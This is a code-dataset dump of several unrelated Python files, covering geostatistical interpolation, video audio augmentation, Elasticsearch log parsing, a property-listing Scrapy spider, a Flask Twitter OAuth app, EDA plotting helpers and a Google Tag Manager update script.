idw_flag:\r\n# print('\\n\\n')\r\n# print('#' * 10)\r\n#\r\n# _beg_t = timeit.default_timer()\r\n#\r\n# print('Inverse Distance Weighting...')\r\n# if 'IDW' not in out_nc.variables:\r\n# idw_nc = out_nc.createVariable(\r\n# 'IDW',\r\n# 'd',\r\n# dimensions=(time_dim_lab, y_coords_lab, x_coords_lab),\r\n# fill_value=False)\r\n#\r\n# else:\r\n# idw_nc = out_nc.variables['IDW']\r\n#\r\n# idw_vars_gen = ((in_data_df.iloc[idxs[i]:idxs[i + 1]],\r\n# in_stns_coords_df,\r\n# min_ppt_thresh,\r\n# idw_exp,\r\n# var_name,\r\n# krige_x_coords_mesh,\r\n# krige_y_coords_mesh,\r\n# krige_coords_orig_shape,\r\n# min_var_val,\r\n# max_var_val,\r\n# (idxs[i], idxs[i + 1]),\r\n# plot_figs_flag,\r\n# krige_x_coords_plot_mesh,\r\n# krige_y_coords_plot_mesh,\r\n# var_units,\r\n# polys_list,\r\n# out_figs_dir,\r\n# fin_cntn_idxs) for i in range(n_cpus))\r\n#\r\n# if mp_cond:\r\n# idw_flds = np.full(\r\n# (in_data_df.shape[0],\r\n# krige_coords_orig_shape[0],\r\n# krige_coords_orig_shape[1]),\r\n# np.nan,\r\n# dtype=np.float32)\r\n#\r\n# mp_ress = []\r\n# try:\r\n# mp_pool = ProcessPool(n_cpus)\r\n# mp_pool.restart(True)\r\n#\r\n# mp_ress = list(mp_pool.uimap(\r\n# inverse_distance_wtng, idw_vars_gen))\r\n#\r\n# mp_pool.clear()\r\n#\r\n# except Exception as msg:\r\n# mp_pool.close()\r\n# mp_pool.join()\r\n# print('Error in inverse_distance_wtng:', msg)\r\n#\r\n# for mp_res in mp_ress:\r\n# if (len(mp_res) != 3) and (not isinstance(list)):\r\n# print('\\n', mp_res, '\\n')\r\n# continue\r\n#\r\n# [strt_index, end_index, sub_idw_flds] = mp_res\r\n# idw_flds[strt_index:end_index] = sub_idw_flds\r\n#\r\n# # free memory\r\n# mp_res[2], sub_idw_flds = None, None\r\n#\r\n# else:\r\n# [strt_index,\r\n# end_index,\r\n# idw_flds] = inverse_distance_wtng(next(idw_vars_gen))\r\n#\r\n# idw_nc[:] = idw_flds\r\n#\r\n# idw_nc.units = var_units\r\n# idw_nc.standard_name = (\r\n# var_name + ' (IDW (exp=%0.3f))' % float(idw_exp))\r\n#\r\n# idw_flds = None\r\n#\r\n# _end_t = timeit.default_timer()\r\n# _tot_t = _end_t - _beg_t\r\n#\r\n# print(f'Took {_tot_t:0.4f} seconds!')\r\n# print('#' * 10)\r\n\r\n out_nc.Author = 'Faizan IWS Uni-Stuttgart'\r\n out_nc.Source = out_nc.filepath()\r\n out_nc.close()\r\n return\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n _save_log_ = False\r\n if _save_log_:\r\n from datetime import datetime\r\n from std_logger import StdFileLoggerCtrl\r\n\r\n # save all console activity to out_log_file\r\n out_log_file = os.path.join(\r\n r'P:\\Synchronize\\python_script_logs\\\\%s_log_%s.log' % (\r\n os.path.basename(__file__),\r\n datetime.now().strftime('%Y%m%d%H%M%S')))\r\n\r\n log_link = StdFileLoggerCtrl(out_log_file)\r\n\r\n print('#### Started on %s ####\\n' % time.asctime())\r\n START = timeit.default_timer()\r\n\r\n #==========================================================================\r\n # When in post_mortem:\r\n # 1. \"where\" to show the stack\r\n # 2. \"up\" move the stack up to an older frame\r\n # 3. \"down\" move the stack down to a newer frame\r\n # 4. \"interact\" start an interactive interpreter\r\n #==========================================================================\r\n\r\n if DEBUG_FLAG:\r\n try:\r\n main()\r\n\r\n except:\r\n import pdb\r\n pdb.post_mortem()\r\n\r\n else:\r\n main()\r\n\r\n STOP = timeit.default_timer()\r\n print(('\\n#### Done with everything on %s.\\nTotal run time was'\r\n ' about %0.4f seconds ####' % (time.asctime(), STOP - START)))\r\n\r\n if _save_log_:\r\n log_link.stop()\r\n", "sub_path": "ft_interp/v7/spec_krige_old.py", "file_name": "spec_krige_old.py", "file_ext": "py", "file_size_in_byte": 29991, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 44, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path", "line_number": 160, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 161, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 178, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 184, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 190, "usage_type": "call"}, {"api_name": "ogr.Open", "line_number": 206, "usage_type": "call"}, {"api_name": "faizpy.cnvt_to_pt", "line_number": 232, "usage_type": "call"}, {"api_name": "faizpy.chk_cntmt", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 243, "usage_type": "call"}, {"api_name": "faizpy.get_aligned_shp_bds_and_cell_size", "line_number": 300, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 324, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 378, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 452, "usage_type": "call"}, {"api_name": "os.path", "line_number": 452, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 473, "usage_type": "call"}, {"api_name": "pandas.np.linspace", "line_number": 488, "usage_type": "call"}, {"api_name": "pandas.np", "line_number": 488, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 495, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 499, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 513, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 537, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 541, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 542, "usage_type": "attribute"}, {"api_name": "pathos.multiprocessing.ProcessPool", "line_number": 547, "usage_type": "call"}, {"api_name": "krige_mp_ftns_ft.ordinary_kriging", "line_number": 550, "usage_type": "argument"}, {"api_name": "krige_mp_ftns_ft.ordinary_kriging", "line_number": 575, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 584, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 881, "usage_type": "call"}, {"api_name": "os.path", "line_number": 881, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 883, "usage_type": "call"}, {"api_name": "os.path", "line_number": 883, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 884, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 884, "usage_type": "name"}, {"api_name": "std_logger.StdFileLoggerCtrl", "line_number": 886, "usage_type": "call"}, {"api_name": "time.asctime", "line_number": 888, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 889, "usage_type": "call"}, {"api_name": "pdb.post_mortem", "line_number": 905, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 910, "usage_type": "call"}, {"api_name": "time.asctime", "line_number": 912, "usage_type": "call"}]} {"seq_id": "209074306", "text": "#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates.\n\nfrom typing import Dict, Tuple\n\nimport ffmpeg # @manual\nfrom augly.utils import pathmgr\nfrom augly.video.augmenters.ffmpeg import BaseFFMPEGAugmenter\nfrom augly.video.helpers import get_audio_info, get_video_info\nfrom ffmpeg.nodes import FilterableStream\n\n\nclass VideoAugmenterByAudioSwap(BaseFFMPEGAugmenter):\n def __init__(self, audio_path: str, offset: float):\n assert offset >= 0, \"Offset cannot be a negative number\"\n\n self.audio_path = pathmgr.get_local_path(audio_path)\n self.offset = offset\n\n def add_augmenter(\n self, in_stream: FilterableStream, **kwargs\n ) -> Tuple[FilterableStream, Dict]:\n \"\"\"\n Swaps the audio of a video\n\n @param in_stream: the FFMPEG object of the video\n\n @returns: a tuple containing the FFMPEG object with the augmentation\n applied and a dictionary with any output arguments as necessary\n \"\"\"\n audio_info = get_audio_info(self.audio_path)\n video_info = get_video_info(kwargs[\"video_path\"])\n\n audio_duration = float(audio_info[\"duration\"])\n audio_sample_rate = float(audio_info[\"sample_rate\"])\n\n start = self.offset\n end = start + float(video_info[\"duration\"])\n\n audio = ffmpeg.input(self.audio_path).audio\n\n if end > audio_duration:\n pad_len = (end - audio_duration) * audio_sample_rate\n audio = audio.filter_(\"apad\", pad_len=pad_len)\n\n audio = audio.filter_(\"atrim\", start=start, end=end).filter_(\n \"asetpts\", \"PTS-STARTPTS\"\n )\n\n return ffmpeg.concat(in_stream.video, audio, v=1, a=1, n=1), {}\n", "sub_path": "augly/video/augmenters/ffmpeg/audio_swap.py", "file_name": "audio_swap.py", "file_ext": "py", "file_size_in_byte": 1698, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "augly.video.augmenters.ffmpeg.BaseFFMPEGAugmenter", "line_number": 13, "usage_type": "name"}, {"api_name": "augly.utils.pathmgr.get_local_path", "line_number": 17, "usage_type": "call"}, {"api_name": "augly.utils.pathmgr", "line_number": 17, "usage_type": "name"}, {"api_name": "ffmpeg.nodes.FilterableStream", "line_number": 21, "usage_type": "name"}, {"api_name": "augly.video.helpers.get_audio_info", "line_number": 31, "usage_type": "call"}, {"api_name": "augly.video.helpers.get_video_info", "line_number": 32, "usage_type": "call"}, {"api_name": "ffmpeg.input", "line_number": 40, "usage_type": "call"}, {"api_name": "ffmpeg.concat", "line_number": 50, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 22, "usage_type": "name"}, {"api_name": "ffmpeg.nodes.FilterableStream", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 22, "usage_type": "name"}]} {"seq_id": "191289043", "text": "#! coding=utf-8\nimport click\nimport glob\n\n\ndef _index_of_substr(the_list, substr):\n for i, val in enumerate(the_list):\n if substr in val:\n return i\n return None\n\n\n@click.command()\n@click.option('--in-dir', help='Slow queries log dir.')\n@click.option('--out-file', help='Queries file.')\ndef log_to_query(in_dir, out_file):\n with open(out_file, 'w') as fwrite:\n errs = []\n slow_prefix = 'elasticsearch_dev_2.1_v2_index_search_slowlog'\n slow_files = glob.glob(in_dir + '/' + slow_prefix + '*')\n for s_file in slow_files:\n with open(s_file) as fread:\n for line in fread:\n line_list = line.split(', ')\n ind = _index_of_substr(line_list, 'source')\n try:\n query = line_list[ind][7:-1]\n fwrite.write(query + '\\n')\n except IndexError:\n errs.append(line)\n pass\n if errs:\n print('There were {} errors.'.format(len(errs)))\n print(errs)\n\nif __name__ == '__main__':\n log_to_query()\n", "sub_path": "log_to_query.py", "file_name": "log_to_query.py", "file_ext": "py", "file_size_in_byte": 1149, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "glob.glob", "line_number": 20, "usage_type": "call"}, {"api_name": "click.command", "line_number": 13, "usage_type": "call"}, {"api_name": "click.option", "line_number": 14, "usage_type": "call"}, {"api_name": "click.option", "line_number": 15, "usage_type": "call"}]} {"seq_id": "198225130", "text": "import scrapy\r\nfrom ..items import RumahItem\r\n\r\nclass RumahSpider(scrapy.Spider):\r\n name = 'rumah'\r\n start_urls = ['https://www.rumah123.com/jual/bandung/gudang',]\r\n page = 1\r\n\r\n def get_number(self,text):\r\n result=''\r\n try:\r\n iter(text)\r\n except TypeError:\r\n return None\r\n for i in text:\r\n try:\r\n result+=str(int(i))\r\n except ValueError:\r\n continue\r\n if result:\r\n return int(result)\r\n else:\r\n return None\r\n\r\n def parse(self, response):\r\n list_rumah = response.css('ul.listing-list')\r\n print(list_rumah)\r\n for url in list_rumah.css('a::attr(href)'):\r\n yield response.follow(url, callback=self.parse_detail)\r\n pages = response.css('li.ant-pagination-item::attr(title)').getall()\r\n for i in pages:\r\n try:\r\n if int(i)==self.page+1:\r\n self.page=int(i)\r\n yield response.follow(self.start_urls[0]+'/?page={}'.format(self.page), callback=self.parse)\r\n break\r\n except ValueError:\r\n continue\r\n \r\n def parse_detail(self, response):\r\n item = RumahItem()\r\n price = response.css('div.property-price').css('span::text').get()\r\n item['price']=self.get_number(price)\r\n item['address'] = response.css('span.property-address sale-default::text').get()\r\n item['supplyImageUrls'] = response.css('header').xpath('..').css('img::attr(src)').get()\r\n item['luastanah'] = self.get_number(response.css('div.property-areas-info').css('li::text').getall()[1])\r\n item['luasbangunan'] = self.get_number(response.css('div.property-areas-info').css('li::text').getall()[0])\r\n item['deskripsi'] = response.css('pre.property-description::text').get().replace('\\n',',')\r\n item['title'] = response.css('h2.description-title::text').get()\r\n item['url'] = response.url\r\n yield item", "sub_path": "Rumah/spiders/rumah.py", "file_name": "rumah.py", "file_ext": "py", "file_size_in_byte": 2042, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scrapy.Spider", "line_number": 4, "usage_type": "attribute"}, {"api_name": "items.RumahItem", "line_number": 41, "usage_type": "call"}]} {"seq_id": "647485506", "text": "#!/usr/bin/python python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"This is Test Code.\"\"\"\r\n\r\n\r\nimport yaml\r\nimport logging\r\nimport tweepy\r\nfrom flask import Flask, session, redirect, render_template, request\r\n\r\n# ログレベル設定\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\n# パスワード系ファイル読み込み\r\nsecret = yaml.load(open('secret.yaml').read())\r\n\r\n# Consumer Key\r\nCONSUMER_KEY = secret['CONSUMER_KEY']\r\n# Consumer Secret\r\nCONSUMER_SECRET = secret['CONSUMER_SECRET']\r\n# Callback URL (認証後リダイレクトされるURL)\r\n# CALLBACK_URL = 'https://flask-tweepy.herokuapp.com/' # Heroku上\r\nCALLBACK_URL = 'http://localhost:5000/' # ローカル環境\r\n\r\nlogging.warn('app start!')\r\n\r\n# Flask の起動\r\napp = Flask(__name__)\r\n# flask の session を使うにはkeyを設定する必要がある．\r\napp.secret_key = secret['SECRET_KEY']\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n \"\"\" root ページの表示 \"\"\"\r\n # 連携アプリ認証済みなら user の timeline を取得\r\n timeline = user_timeline()\r\n\r\n # templates/index.html を使ってレンダリング．\r\n return render_template('index.html', timeline=timeline)\r\n\r\n\r\n@app.route('/twitter_auth', methods=['GET'])\r\ndef twitter_auth():\r\n \"\"\" 連携アプリ認証用URLにリダイレクト \"\"\"\r\n # tweepy でアプリのOAuth認証を行う\r\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET, CALLBACK_URL)\r\n\r\n try:\r\n # 連携アプリ認証用の URL を取得\r\n redirect_url = auth.get_authorization_url()\r\n # 認証後に必要な request_token を session に保存\r\n session['request_token'] = auth.request_token\r\n except tweepy.TweepError as e:\r\n logging.error(str(e))\r\n\r\n # リダイレクト\r\n return redirect(redirect_url)\r\n\r\n\r\ndef user_timeline():\r\n \"\"\" user の timeline のリストを取得 \"\"\"\r\n # request_token と oauth_verifier のチェック\r\n token = session.pop('request_token', None)\r\n verifier = request.args.get('oauth_verifier')\r\n if token is None or verifier is None:\r\n return False # 未認証ならFalseを返す\r\n\r\n # tweepy でアプリのOAuth認証を行う\r\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET, CALLBACK_URL)\r\n\r\n # Access token, Access token secret を取得．\r\n auth.request_token = token\r\n try:\r\n auth.get_access_token(verifier)\r\n except tweepy.TweepError as e:\r\n logging.error(str(e))\r\n return {}\r\n\r\n # デバッグのためアクセストークンを出力\r\n token_str = '\\t'.join((\r\n 'access_token:' + auth.access_token,\r\n 'access_tokne_secret:' + auth.access_token_secret\r\n ))\r\n logging.info(token_str)\r\n\r\n # tweepy で Twitter API にアクセス\r\n api = tweepy.API(auth)\r\n\r\n # user の timeline 内のツイートのリストを最大100件取得して返す\r\n return api.user_timeline(count=100)\r\n\r\n\r\nif __name__ == '__main__':\r\n port = 5000\r\n app.run(port=port)\r\n\r\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 12, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 53, "usage_type": "name"}, {"api_name": "tweepy.TweepError", "line_number": 54, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.session.pop", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "tweepy.OAuthHandler", "line_number": 70, "usage_type": "call"}, {"api_name": "tweepy.TweepError", "line_number": 76, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 77, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 85, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 88, "usage_type": "call"}]} {"seq_id": "605308370", "text": "import seaborn as sns\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\n\nfrom collections import Counter\nfrom nltk.corpus import stopwords\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import TSNE\n\nimport yaml\n\nwith open('config.yaml', 'r') as f:\n config = yaml.load(f, Loader=yaml.FullLoader)\n\nQUERIES_COL = config['queries_col']\n\n\ndef most_common_words(df, queries_col=QUERIES_COL, n_commons=25, remove_stopwords=True, by='word'):\n \"\"\"\n checks for the most important [queries | individual words] in the search corpus.\n\n :param df: Pandas DataFrame of which one column in test search queries\n :param queries_col: the search queries column\n :param n_commons: number of top most common\n :param remove_stopwords: use NLTK to remove english stopwords\n :param by: 'word' returns most common *words*, 'query' returns most common *complete queries*.\n :return: Pandas DataFrame with most common words\n \"\"\"\n if by == 'word':\n entries = df[queries_col].str.cat(sep=' ')\n entries = entries.split(' ')\n elif by == 'query':\n entries = df[queries_col]\n else:\n raise Exception ('The keyword argument \"separate\" should either be set to \"word\" or \"query\"')\n\n c = Counter(entries)\n commons = c.most_common(n_commons)\n commons = pd.DataFrame(commons)\n\n if remove_stopwords:\n sw_ind = commons[0].apply(lambda word: word in stopwords.words('english'))\n ind_to_drop = commons[sw_ind].index\n commons.drop(index=ind_to_drop, inplace=True)\n\n commons.rename(columns={0: \"word\", 1: \"count\"}, inplace=True)\n\n return commons\n\n\ndef plot_stats(df, queries_col=QUERIES_COL, **mcw_kwargs):\n \"\"\"\n plots graphic information about individual words in the search query corpus.\n\n :param df: Pandas DataFrame\n :param queries_col: the column that holds the queries in df\n :param top_n: top n words to show\n :param separate: if True, returns most common *words*. Otherwise returns most common *complete queries*.\n :return: None\n \"\"\"\n commons_df = most_common_words(df, queries_col, **mcw_kwargs)\n top_n = mcw_kwargs['n_commons']\n\n total = commons_df['count'].sum(axis=0)\n commons_df['freq'] = commons_df['count'].apply(lambda x: x / total)\n if len(commons_df) > top_n:\n commons_df = commons_df[:top_n]\n\n fig, axes = plt.subplots(1, 2, figsize=(18, 4))\n\n # plotting the word cloud\n wordcloud = WordCloud()\n commons_dict = dict(zip(commons_df['word'], commons_df['freq']))\n wordcloud.generate_from_frequencies(frequencies=commons_dict)\n axes[0].imshow(wordcloud, interpolation=\"bilinear\")\n axes[0].axis(\"off\")\n\n # plotting the bar count\n words = commons_df['word']\n counts = commons_df['count']\n sns.barplot(x=words, y=counts, ax=axes[1])\n axes[1].tick_params(axis='x', labelrotation=90)\n\n plt.suptitle(f'Most Common {top_n} {\"Words\" if mcw_kwargs[\"by\"] == \"word\" else \"Queries\"}')\n\n plt.show()\n\n return None\n\n\ndef tsnescatterplot(model, word, list_names):\n \"\"\" Plot in seaborn the results from the t-SNE dimensionality reduction algorithm of the vectors of a query word,\n its list of most similar words, and a list of words.\n \"\"\"\n arrays = np.empty((0, 50), dtype='f')\n word_labels = [word]\n color_list = ['red']\n\n # adds the vector of the query word\n arrays = np.append(arrays, model.wv.__getitem__([word]), axis=0)\n\n # gets list of most similar words\n close_words = model.wv.most_similar([word])\n\n # adds the vector for each of the closest words to the array\n for wrd_score in close_words:\n wrd_vector = model.wv.__getitem__([wrd_score[0]])\n word_labels.append(wrd_score[0])\n color_list.append('blue')\n arrays = np.append(arrays, wrd_vector, axis=0)\n\n # adds the vector for each of the words from list_names to the array\n for wrd in list_names:\n wrd_vector = model.wv.__getitem__([wrd])\n word_labels.append(wrd)\n color_list.append('green')\n arrays = np.append(arrays, wrd_vector, axis=0)\n\n # Reduces the dimensionality from 300 to 50 dimensions with PCA\n reduc = PCA(n_components=19).fit_transform(arrays)\n\n # Finds t-SNE coordinates for 2 dimensions\n np.set_printoptions(suppress=True)\n\n Y = TSNE(n_components=2, random_state=0, perplexity=15).fit_transform(reduc)\n\n # Sets everything up to plot\n df = pd.DataFrame({'x': [x for x in Y[:, 0]],\n 'y': [y for y in Y[:, 1]],\n 'words': word_labels,\n 'color': color_list})\n\n fig, _ = plt.subplots()\n fig.set_size_inches(9, 9)\n\n # Basic plot\n p1 = sns.regplot(data=df,\n x=\"x\",\n y=\"y\",\n fit_reg=False,\n marker=\"o\",\n scatter_kws={'s': 40,\n 'facecolors': df['color']\n }\n )\n\n # Adds annotations one by one with a loop\n for line in range(0, df.shape[0]):\n p1.text(df[\"x\"][line],\n df['y'][line],\n ' ' + df[\"words\"][line].title(),\n horizontalalignment='left',\n verticalalignment='bottom', size='medium',\n color=df['color'][line],\n weight='normal'\n ).set_size(15)\n\n plt.xlim(Y[:, 0].min() - 50, Y[:, 0].max() + 50)\n plt.ylim(Y[:, 1].min() - 50, Y[:, 1].max() + 50)\n\n plt.title('t-SNE visualization for {}'.format(word.title()))\n", "sub_path": "eda_utils.py", "file_name": "eda_utils.py", "file_ext": "py", "file_size_in_byte": 5602, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "yaml.load", "line_number": 17, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 17, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 43, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 46, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "wordcloud.WordCloud", "line_number": 76, "usage_type": "call"}, {"api_name": "wordcloud.generate_from_frequencies", "line_number": 78, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 121, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 127, "usage_type": "call"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "seaborn.regplot", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}]} {"seq_id": "530138545", "text": "######################\n# Updating GTM tags #\n######################\n\nimport argparse\nimport httplib2\nfrom apiclient.discovery import build\nfrom oauth2client import client\nfrom oauth2client import file\nfrom oauth2client import tools\nfrom pprint import pprint\n\nCLIENT_SECRETS = 'client_secrets.json'\nSCOPE = ['https://www.googleapis.com/auth/tagmanager.readonly',\n 'https://www.googleapis.com/auth/tagmanager.edit.containers',\n 'https://www.googleapis.com/auth/tagmanager.edit.containerversions',\n \"https://www.googleapis.com/auth/tagmanager.publish\"]\n# SCOPE = ['https://www.googleapis.com/auth/tagmanager.edit.containers']\n\n# Parse command-line arguments\nparser = argparse.ArgumentParser(parents = [tools.argparser])\nflags = parser.parse_args()\n\n# Set up a Flow object to be used if we need to authenticate\nflow = client.flow_from_clientsecrets(\n CLIENT_SECRETS,\n scope = SCOPE,\n message = tools.message_if_missing(CLIENT_SECRETS))\n# Prepare credentials, and authorize the HTTP object with them.\n# If the credentials don't exist or are invalid, run through the native client\n# flow. The Storage object will ensure that if successful, the good\n# credentials will be written back to a file.\nstorage = file.Storage('tagmanager.dat')\ncredentials = storage.get()\nif credentials is None or credentials.invalid:\n credentials = tools.run_flow(flow, storage, flags)\nhttp = credentials.authorize(http = httplib2.Http())\n\n# Build the service object\nservice = build('tagmanager', 'v1', http = http)\n\n# # Input version\n# account_id = raw_input('Please enter account ID: ')\n# container_id = raw_input('Please enter container ID: ')\n\naccount_id = '126511049'\ncontainer_id = '1571633'\n\n# Get the list of all tags\ntags = service.accounts().containers().tags().list(\n accountId = account_id,\n containerId = container_id\n).execute()\n\n# Make a local list of tags you want to update\ntags_to_update = []\nfor tag in tags.get('tags', []):\n # Specify conditions on tag you want to update here\n if '_import_1' in tag['name'] and tag['type'] == 'ua':\n tags_to_update.append(tag)\n\n# Make local changes to tags you want to update here\nfor tag in tags_to_update:\n # Here we changed tags' names:\n # tag['name'] = 'IF ' + tag['name']\n # Here we change UA tracking ID:\n next((x for x in tag['parameter'] if x['key'] == 'trackingId'), None)['value'] = '{{00 UA ID Interflora.pl}}'\n\n# Push the changes to GTM by passing the list with changed tags\nfor tag in tags_to_update:\n del tag['accountId']\n del tag['containerId']\n tag_ID = tag.get('tagId')\n del tag['tagId']\n\n tags_update = service.accounts().containers().tags().update(\n accountId = account_id,\n containerId = container_id,\n tagId = tag_ID,\n body = tag\n ).execute()\n\nquit()\n", "sub_path": "tags_update.py", "file_name": "tags_update.py", "file_ext": "py", 